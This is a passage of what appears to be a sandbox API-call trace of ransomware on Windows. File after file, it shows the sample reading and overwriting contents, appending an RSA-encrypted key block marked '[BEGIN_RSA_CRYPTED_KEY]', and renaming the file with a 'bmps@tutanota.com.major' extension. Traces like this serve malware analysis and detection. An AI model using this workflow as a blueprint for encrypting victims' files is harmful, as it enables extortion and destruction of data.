lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x426ae [0111.791] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.791] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.791] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0111.791] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0111.795] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0111.795] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0111.795] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="6pQZIhc/PeWQGBXklV/BsrCLjZFx0V+eXeP2fOaJJiMT+kottzcf7B+G8VcbwqKr\nTXWOFbsPM75Fw1sfoHXR7/tGLiosPzvZzQDi5Wl3fdpI/S8tuGANlKoYSlaibGkP\nnNFSEj4aTJEjOeM/9t7KB2gYV4qNaGoHDixrfV/puuwZwQNtN6FQ7SfI+idcJObL\nF9fORpE3DZa7wwR14eKNwiSFjySHYC2zY/yckKCZiOb96SpSAjBqpNX2/8VRF8fT\nzPfof7FeIlMTrwKdDilFZpFIGUmYaWZ7fVcFAIYKpwS8x4dwKNS1vpwCdWelps6S\nCwLvxVoCZm0kXHG7uETnPg==\n", pcchString=0x2e3f9a8) returned 1 [0111.795] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0111.797] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.797] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.797] CloseHandle (hObject=0x454) returned 1 [0111.803] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0111.803] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), lpNewFileName="\\588bce7c90097ed212\\ParameterInfo.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0111.810] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0111.810] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0111.810] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0111.810] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0111.810] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0111.810] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccc10 [0111.810] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0111.810] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\netfx_Extended_x86.msi", dwFileAttributes=0x80) returned 1 [0111.811] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0111.811] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0111.811] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0111.811] CreateFileW (lpFileName="\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0111.811] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=495616) returned 1 [0111.811] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x79000) returned 0x2e40048 [0111.813] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x79000) returned 0x2f40048 [0111.815] ReadFile (in: hFile=0x454, lpBuffer=0x2e40048, nNumberOfBytesToRead=0x79000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40048*, lpNumberOfBytesRead=0x2e3f9b4*=0x79000, lpOverlapped=0x0) returned 1 [0111.886] SetFilePointer (in: hFile=0x454, lDistanceToMove=-495616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.886] WriteFile (in: hFile=0x454, lpBuffer=0x2f40048*, nNumberOfBytesToWrite=0x79000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f40048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x79000, lpOverlapped=0x0) returned 1 [0111.887] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40048 | out: hHeap=0x570000) returned 1 [0111.891] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f40048 | out: hHeap=0x570000) returned 1 [0111.891] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x79000 [0111.891] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.892] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.892] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0111.892] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0111.896] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0111.896] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0111.896] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="4ZYYRkwXp7Ue9F7y7TO9VStdrtv45szj9WiM+lcOjbcaa2yfWRipca3YzYo5USPc\nHzSHtQMNcCV1HufezYXb5ipAypkjcAIa9lHgrpvWfb4E6a/A99yAYikRV0RBBJea\ntHJPgXl8TsFbvdfOYOhuGvTryGUIH0A8sfY5+bhtjYxGUJLmjRtRJYB0n+P2x2If\n5SLlI7xnj2FfLegjXiWEid57gKRDhn+J1NRjv2tNUpaUO1IsvyVIHDKl0h/c/4xu\ncfzrVC3O4/KPXjmMpXjncvIDI415xU+BnwHCARNZLzkEO82TLmiN+dw/eWDTQQUt\nAdpszCWV5SjzJwsiCeHgfw==\n", pcchString=0x2e3f9a8) returned 1 [0111.896] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0111.896] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.896] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.896] CloseHandle (hObject=0x454) returned 1 [0111.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0111.903] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), lpNewFileName="\\588bce7c90097ed212\\netfx_Extended_x86.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0111.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0111.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0111.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0111.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0111.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0111.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0111.905] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0111.905] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\netfx_Extended_x64.msi", dwFileAttributes=0x80) returned 1 [0111.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0111.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0111.905] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0111.905] CreateFileW (lpFileName="\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0111.905] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=872448) returned 1 [0111.905] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd5000) returned 0x314c020 [0111.906] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd5000) returned 0x323e020 [0111.906] ReadFile (in: hFile=0x454, lpBuffer=0x314c020, nNumberOfBytesToRead=0xd5000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314c020*, lpNumberOfBytesRead=0x2e3f9b4*=0xd5000, lpOverlapped=0x0) returned 1 [0111.994] SetFilePointer (in: hFile=0x454, lDistanceToMove=-872448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.994] WriteFile (in: hFile=0x454, lpBuffer=0x323e020*, nNumberOfBytesToWrite=0xd5000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x323e020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd5000, lpOverlapped=0x0) returned 1 [0111.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x314c020 | out: hHeap=0x570000) returned 1 [0111.996] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x323e020 | out: hHeap=0x570000) returned 1 [0111.996] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd5000 [0111.997] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.997] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.997] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0111.997] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0111.998] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0111.998] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0111.998] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="O1WoUNlH580/+djwZQ5JjtaNVm4blSW7HuCWwR0uwziN+4WS+jc2ew8D0ntl1R+i\n2tywg1IfopTJ0e+fBJAcjHdH3zI6cnxfqkrCx2CHR4b9vmdIAxtZDjVGu1FjG58I\nqwVoWC62IyxO50pntkKqGyjap2BoJX7wQqHM1/KtjCcQdcGvYOWvqiuv8GBBcCDx\nEFKnJFkRU1hRNq4r71B+T7WHj574Kx0dGr3epfuQ+35RD2/SNchEIEvGDEdFDK+a\nilEcjH3dqOru7W14gP+M9wBKk7rjXQkp6iOzT+ityjMkhV/OZWT9XLj3L97DdZU9\ncpaLHFZR7Q0TS+P70U+GFw==\n", pcchString=0x2e3f9a8) returned 1 [0111.998] WriteFile (in: hFile=0x454, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0111.998] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0111.999] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0111.999] CloseHandle (hObject=0x454) returned 1 [0112.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0112.011] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), lpNewFileName="\\588bce7c90097ed212\\netfx_Extended_x64.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0112.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0112.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0112.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0112.013] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0112.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0112.013] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0112.013] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0112.014] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\netfx_Extended.mzz", dwFileAttributes=0x80) returned 1 [0112.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0112.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0112.014] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0112.014] CreateFileW (lpFileName="\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0112.014] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=43131591) returned 1 [0112.014] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x29222c7) returned 0x3147020 [0112.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x29222c7) returned 0x5a77020 [0112.019] ReadFile (in: hFile=0x454, lpBuffer=0x3147020, nNumberOfBytesToRead=0x29222c7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3147020*, lpNumberOfBytesRead=0x2e3f9b4*=0x29222c7, lpOverlapped=0x0) returned 1 [0113.923] SetFilePointer (in: hFile=0x454, lDistanceToMove=-43131591, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.923] WriteFile (in: hFile=0x454, lpBuffer=0x5a77020*, nNumberOfBytesToWrite=0x29222c7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a77020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x29222c7, lpOverlapped=0x0) returned 1 [0117.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3147020 | out: hHeap=0x570000) returned 1 [0117.470] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a77020 | out: hHeap=0x570000) returned 1 [0117.471] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x29222c7 [0117.472] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0117.472] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0117.472] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0117.472] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0117.473] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0117.473] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x58e090 [0117.473] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e090, pcchString=0x2e3f9a8 | out: pszString="NOlbkqA28Kzw016NY/zrPuCyWBau1k0CU4ys3IVkk7az2q8NiuishVEU/BnmDfKI\nh4pWRq39DB0F3qn3iVNQiBlSh0w5+io1OgHCaxBoqkFW4w43TgSfLnlvLA8gavA/\n0XIFsCqkCrZBaZ0oxXrIJ99JBL6gMRprn5rnE++8Szbhw9QJ3kKyGRckOoHZ2iUh\nlPH4DP9GHvMizIycluvgCX390UOMEabruDd9hXOxwya8lUGf1w2DCuN/l2DdW89F\nYSOeWhfXtPLVcxWUlkeWlFOLUaPZg3bv4R/ugf9xq+OVVHO/NuHXz1f93CaJvROF\nALKUagePhLCQT9vLWmPkAw==\n", pcchString=0x2e3f9a8) returned 1 [0117.473] WriteFile (in: hFile=0x454, lpBuffer=0x58e090*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e090*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0117.473] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0117.473] WriteFile (in: hFile=0x454, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0117.473] CloseHandle (hObject=0x454) returned 1 [0117.872] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e090 | out: hHeap=0x570000) returned 1 [0117.872] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="\\588bce7c90097ed212\\netfx_Extended.mzz.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0117.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0117.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0117.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0117.873] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0117.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0117.873] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccaa8 [0117.873] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0117.873] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\netfx_Core_x86.msi", dwFileAttributes=0x80) returned 1 [0117.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0117.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0117.875] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0117.875] CreateFileW (lpFileName="\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0117.875] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1163264) returned 1 [0117.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11c000) returned 0x314a020 [0117.875] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11c000) returned 0x327d020 [0117.876] ReadFile (in: hFile=0x454, lpBuffer=0x314a020, nNumberOfBytesToRead=0x11c000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314a020*, lpNumberOfBytesRead=0x2e3f9b4*=0x11c000, lpOverlapped=0x0) returned 1 [0117.931] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1163264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.931] WriteFile (in: hFile=0x454, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x11c000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11c000, lpOverlapped=0x0) returned 1 [0117.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x314a020 | out: hHeap=0x570000) returned 1 [0117.982] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x327d020 | out: hHeap=0x570000) returned 1 [0117.982] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11c000 [0117.982] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0117.982] WriteFile (in: hFile=0x454, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0117.985] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0117.985] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0117.986] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0117.986] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x58e090 [0117.986] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e090, pcchString=0x2e3f9a8 | out: pszString="u0Zp9cb4oUtuSoDvsI2aILUjDTPbm0ctibqh7i/TJaDEgrYbY4/fwv2tpV3farc/\nWALA4D2kkwJIRk0pZdqdaN83fF0+FcFmqYJ0YOIsNqv8nyefWimRz0QXYbODn0+5\nQ8oQNwxK9co9tEyxnl0i00g9z4kc5mtB5W9LWHItoMX2BjHrXTDehIPl08yRbNFH\nNeyu/pwaOIhboL6BzXW1OoC5q1mu+rUXLU6b/Oj49Scz8KQfxMB5HD2xtpRXVoB5\nwejoprSkHSPqR3YU60URkVGGaQZGxM7fp+9EpS/CeEPqu8Y/wgQzU4ZT3umi36C9\nHoPNeRep9efyWZzMl6DRhw==\n", pcchString=0x2e3f9a8) returned 1 [0117.986] WriteFile (in: hFile=0x454, lpBuffer=0x58e090*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e090*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0117.987] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0117.987] WriteFile (in: hFile=0x454, 